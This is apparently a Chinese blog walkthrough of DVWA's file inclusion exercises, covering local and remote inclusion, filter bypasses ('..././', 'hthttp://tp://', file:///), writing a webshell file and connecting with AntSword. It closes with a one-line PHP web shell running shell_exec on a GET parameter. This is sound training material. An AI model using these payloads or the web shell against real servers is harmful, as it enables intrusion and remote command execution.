DVWA File inclusion(文件包含)-超详细

前言

本篇文章为DVWA平台File inclusion(文件包含)类型题目,本篇文章目的为记录自己的作题过程并且希望能够帮到大家,如有错误还请各位师傅指正!
本篇文章同样会同步至本人博客https://tenghy.gitee.io/teng/

环境&工具

Windows10、phpstudy、蚁剑/中国菜刀

正文

难度等级:

Low

在这里插入图片描述
从图中可以看出文件包含是在url通过GET传参的方式获取文件,经过测试发现可以直接获取服务器文件路径:
在这里插入图片描述
,那么接下来我们还能直接包含一个本地文件,这里我直接在E盘创建了一个测试文件test.txt:
在这里插入图片描述
直接在url里面包含本地文件:
在这里插入图片描述
可以看到成功输出test.txt文件内容,这里需要提一下的是无论文件后缀名是什么,只要文件内容为php脚本都会正确解析并且执行,接下来测试远程文件包含,注意,需要allow_url_include为on:
在这里插入图片描述
我刚开始的时候就没有开启,注意这里的配置文件是phpstudy所用php版本的配置文件,可以在phpstudy_pro\Extensions\php下找到对应的php版本修改配置文件(php使用的版本可以用phpinfo查看),也可以直接在phpstudy设置里面选择对应的版本直接修改,如图:
在这里插入图片描述
下面测试远程包含,由于搭建的服务也是在本地所以直接使用IP访问,不过访问的ip根目录为phpstudy的网站根目录,所以测试文件要放在根目录下面,例:http://192.168.11.110/test.txt,可以看到成功包含进来:
在这里插入图片描述
接下来我们在远程服务器写入一个fileinclusion.txt文件,内容如下:
在这里插入图片描述
fputs为php函数,功能和fwrite函数一样,表示创建一个新文件,这样上传成功以后就会在当前平台文件所在目录下面创建一个含有木马的dvwainclusion.php文件(完成路径第一条测试的时候就已经爆出来了)。成功执行以后页面无变化,但是查看文件所在目录发现已经生成了dvwainclusion.php文件:
在这里插入图片描述

接下来就可以使用蚁剑成功连接,url为:http://192.168.11.110/dvwa.com/dvwa/vulnerabilities/fi/dvwainclusion.php,成功连接:
在这里插入图片描述

Medium

直接测试如图:
在这里插入图片描述
从给出的报错提示没有找到文件,试一下本地绝对路径:
在这里插入图片描述
发现可以正确包含,分析得出应该是对相对路径…/进行了过滤,试一下双写绕过,格式:…/./
在这里插入图片描述
可以看到成功绕过,(我的phpinfo文件在根目录下面,可以直接放在dvwa文件所在目录),接下来看一下远程包含:
在这里插入图片描述
可以看到同样没有找到该文件,判断是不是过滤了htpp,试一下双写绕过。格式:hthttptp
在这里插入图片描述
发现不是过滤了http,尝试其他方法以后发现是过滤了http://,使用双写成功绕过,格式:hthttp://tp://
在这里插入图片描述
其他步骤就跟前面一样了,不再赘述。

High

这里不再放图了,测试的时候发现怎么都无法绕过,不过使用file:///协议可以成功访问,其余的步骤就和前面一样了。例如:http://localhost/dvwa.com/dvwa/vulnerabilities/fi/?page=file:///E:test.txt

结语

本文所讲的只是简单的文件包含案例,本人也是菜鸟一枚,文件包含不只是可以上传文件,和文件上传还是不一样的,举一个例子,可以在远程写一个脚本包含进去:

<?php echo shell_exec($_GET['cmd']);?>

这样就可以得到被攻击机的shell,这也只是我这枚菜鸟所了解的一点点,本篇文章就到这里,欢迎各位师傅指正!

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

HackerTenG

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值